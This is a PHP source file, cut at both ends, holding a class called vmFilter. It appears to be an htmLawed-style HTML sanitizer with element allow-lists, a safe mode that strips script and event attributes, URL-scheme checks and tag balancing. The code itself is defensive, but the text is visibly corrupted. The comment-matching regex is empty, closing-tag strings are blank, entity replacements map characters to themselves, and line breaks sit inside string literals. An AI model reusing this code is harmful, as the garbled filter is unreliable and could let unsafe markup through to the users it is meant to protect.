*/ class vmFilter{ private static $C=null; private static $E=null; private static $S=null; private static $hl_Ids=null; // begin class public static function hl($t, $C=null, $S=array()){ if ( is_string($C) ) $C = vmFilter::loadconfig($C); $C = is_array($C) ? $C : array(); if(!empty($C['valid_xhtml'])){ $C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements']; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2; } // config eles $e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby if(!empty($C['safe'])){ unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']); } $x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*'; if($x == '-*'){ $e = array(); } elseif(strpos($x, '*') === false){ $e = array_flip(explode(',', $x)); } else{ if(isset($x[1])){ preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER); for($i=count($m); --$i>=0;){ $m[$i] = $m[$i][0]; } foreach($m as $v){ if($v[0] == '+'){ $e[substr($v, 1)] = 1; } if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){ unset($e[$v]); } } } } $C['elements'] =& $e; // config attrs $x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : ''; $x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : ''))); if(isset($x['on*'])){ unset($x['on*']); $x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1); } $C['deny_attribute'] = $x; // config URL $x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https'; $C['schemes'] = array(); foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){ $x = $x2 = null; list($x, $x2) = explode(':', $v, 2); if($x2){ $C['schemes'][$x] = array_flip(explode(',', $x2)); } } if(!isset($C['schemes']['*'])){ $C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,); } if(!empty($C['safe']) && empty($C['schemes']['style'])){ $C['schemes']['style'] = array('!'=>1); } $C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0; if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){ $C['base_url'] = $C['abs_url'] = 0; } // config rest $C['and_mark'] = empty($C['and_mark']) ? 0 : 1; $C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or vmFilter::hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or vmFilter::hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0; $C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0; $C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1; $C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0); $C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char']; $C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0); $C['css_expression'] = empty($C['css_expression']) ? 0 : 1; $C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1; $C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1; $C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0; $C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0; $C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6; $C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1; $C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1; $C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1; $C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body'; $C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0; $C['style_pass'] = empty($C['style_pass']) ? 0 : 1; $C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy']; $C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0; if(!is_null(vmFilter::$C)){ $reC = vmFilter::$C; } vmFilter::$C = $C; $S = is_array($S) ? $S : vmFilter::$hl_spec($S); if(!is_null(vmFilter::$S)){ $reS = vmFilter::$S; } vmFilter::$S = $S; $t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t); if($C['clean_ms_char']){ $x = array("\x7f"=>'', "\x80"=>'€', "\x81"=>'', "\x83"=>'ƒ', "\x85"=>'…', "\x86"=>'†', "\x87"=>'‡', "\x88"=>'ˆ', "\x89"=>'‰', "\x8a"=>'Š', "\x8b"=>'‹', "\x8c"=>'Œ', "\x8d"=>'', "\x8e"=>'Ž', "\x8f"=>'', "\x90"=>'', "\x95"=>'•', "\x96"=>'–', "\x97"=>'—', "\x98"=>'˜', "\x99"=>'™', "\x9a"=>'š', "\x9b"=>'›', "\x9c"=>'œ', "\x9d"=>'', "\x9e"=>'ž', "\x9f"=>'Ÿ'); $x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'‚', "\x84"=>'„', "\x91"=>'‘', "\x92"=>'’', "\x93"=>'“', "\x94"=>'”') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"')); $t = strtr($t, $x); } if($C['cdata'] or $C['comment']){ $t = preg_replace_callback('``sm', 'vmFilter::hl_cmtcd', $t); } $t = preg_replace_callback('`&([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'vmFilter::hl_ent', str_replace('&', '&', $t)); if($C['unique_ids'] && is_null(vmFilter::$hl_Ids)){ vmFilter::$hl_Ids = array(); } if($C['hook']){ $t = $C['hook']($t, $C, $S); } if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){ vmFilter::$C['show_setting'] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime()); } // main $t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'vmFilter::hl_tag', $t); $t = $C['balance'] ? vmFilter::hl_bal($t, $C['keep_bad'], $C['parent']) : $t; $t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t; $t = $C['tidy'] ? vmFilter::hl_tidy($t, $C['tidy'], $C['parent']) : $t; unset($C, $e); if(isset($reC)){ vmFilter::$C = $reC; } if(isset($reS)){ vmFilter::$S = $reS; } return $t; // eof } public static function hl_attrval($t, $p){ // check attr val against $S $o = 1; $l = strlen($t); foreach($p as $k=>$v){ switch($k){ case 'maxlen':if($l > $v){ $o = 0; } break; case 'minlen': if($l < $v){ $o = 0; } break; case 'maxval': if((float)($t) > $v){ $o = 0; } break; case 'minval': if((float)($t) < $v){ $o = 0; } break; case 'match': if(!preg_match($v, $t)){ $o = 0; } break; case 'nomatch': if(preg_match($v, $t)){ $o = 0; } break; case 'oneof': $m = 0; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 1; break; } } $o = $m; break; case 'noneof': $m = 1; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 0; break; } } $o = $m; break; default: break; } if(!$o){ break; } } return ($o ? $t : (isset($p['default']) ? $p['default'] : 0)); // eof } public static function hl_bal($t, $do=1, $in='div'){ // balance tags // by content $cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block $cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty $cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI $cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline $cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal $cN2 = array_keys($cN); $cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); $cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child if(vmFilter::$C['direct_list_nest']){ $cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1); } $cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other $cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing // block/inline type; ins & del both type; #pcdata: text $eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1); $eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); $eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values $eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI $eF = $eB + $eI; // $in sets allowed child $in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div'; if(isset($cE[$in])){ return (!$do ? '' : str_replace(array('<', '>'), array('<', '>'), $t)); } if(isset($cS[$in])){ $inOk = $cS[$in]; } elseif(isset($cI[$in])){ $inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$in])){ $inOk = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$in])){ $inOk = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$in])){ $inOk = $inOk + $cO[$in]; } if(isset($cN[$in])){ $inOk = array_diff_assoc($inOk, $cN[$in]); } $t = explode('<', $t); $ok = $q = array(); // $q seq list of open non-empty ele ob_start(); for($i=-1, $ci=count($t); ++$i<$ci;){ // allowed $ok in parent $p if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } // bad tags, & ele content if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } // get markup if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){ $x = $t[$i]; continue; } $s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r; // close tag if($s){ if(isset($cE[$e]) or !in_array($e, $q)){ continue; } // Empty/unopen if($p == $e){ array_pop($q); echo ''; unset($e); continue; } // Last open $add = ''; // Nesting - close open tags that need to be for($j=-1, $cj=count($q); ++$j<$cj;){ if(($d = array_pop($q)) == $e){ break; } else{$add .= ""; } } echo $add, ''; unset($e); continue; } // open tag // $cB ele needs $eB ele as child if(isset($cB[$e]) && strlen(trim($x))){ $t[$i] = "{$e}{$a}>"; array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); ++$ci; --$i; continue; } if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){ array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue; } // if no open ele, $in = parent; mostly immediate parent-child relation should hold if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){ if(!isset($ok[$e])){ if($ql && isset($cT[$p])){ echo ''; unset($e, $x); --$i; } continue; } if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // specific parent-child if(isset($cS[$p][$e])){ if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // nesting $add = ''; $q2 = array(); for($k=-1, $kc=count($q); ++$k<$kc;){ $d = $q[$k]; $ok2 = array(); if(isset($cS[$d])){ $q2[] = $d; continue; } $ok2 = isset($cI[$d]) ? $eI : $eF; if(isset($cO[$d])){ $ok2 = $ok2 + $cO[$d]; } if(isset($cN[$d])){ $ok2 = array_diff_assoc($ok2, $cN[$d]); } if(!isset($ok2[$e])){ if(!$k && !isset($inOk[$e])){ continue 2; } $add = ""; for(;++$k<$kc;){ $add = "{$add}"; } break; } else{$q2[] = $d; } } $q = $q2; if(!isset($cE[$e])){ $q[] = $e; } echo $add, '<', $e, $a, '>'; unset($e); continue; } // end if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){ echo '
      ', $x, '
      '; } elseif($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } while(!empty($q) && ($e = array_pop($q))){ echo ''; } $o = ob_get_contents(); ob_end_clean(); return $o; // eof } public static function hl_cmtcd($t){ // comment/CDATA sec handler $t = $t[0]; $C = vmFilter::$C; if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){ return $t; } if($v == 1){ return ''; } if($n == 'comment'){ if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){ $t .= ' '; } } else{$t = substr($t, 1, -1); } $t = $v == 2 ? str_replace(array('&', '<', '>'), array('&', '<', '>'), $t) : $t; return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01")); // eof } public static function hl_ent($t){ // entitity handler $C = vmFilter::$C; $t = $t[1]; static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1); static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39', 'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255'); if($t[0] != '#'){ return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';'; } if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){ return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};"; } return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';'; // eof } public static function hl_prot($p, $c=null){ // check URL scheme $C = vmFilter::$C; $b = $a = ''; if($c == null){ $c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]); } $c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*']; static $d = 'denied:'; if(isset($c['!']) && substr($p, 0, 7) != $d){ $p = "$d$p"; } if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){ return "{$b}{$p}{$a}"; } // All ok, frag, query, param if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){ // Denied prot return "{$b}{$d}{$p}{$a}"; } if($C['abs_url']){ if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){ // Make url rel $p = substr($p, strlen($C['base_url'])); }elseif(empty($m[1])){ // Make URL abs if(substr($p, 0, 2) == '//'){ $p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p; } elseif($p[0] == '/'){ $p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p; } elseif(strcspn($p, './')){ $p = $C['base_url']. $p; } else{ preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m); $p 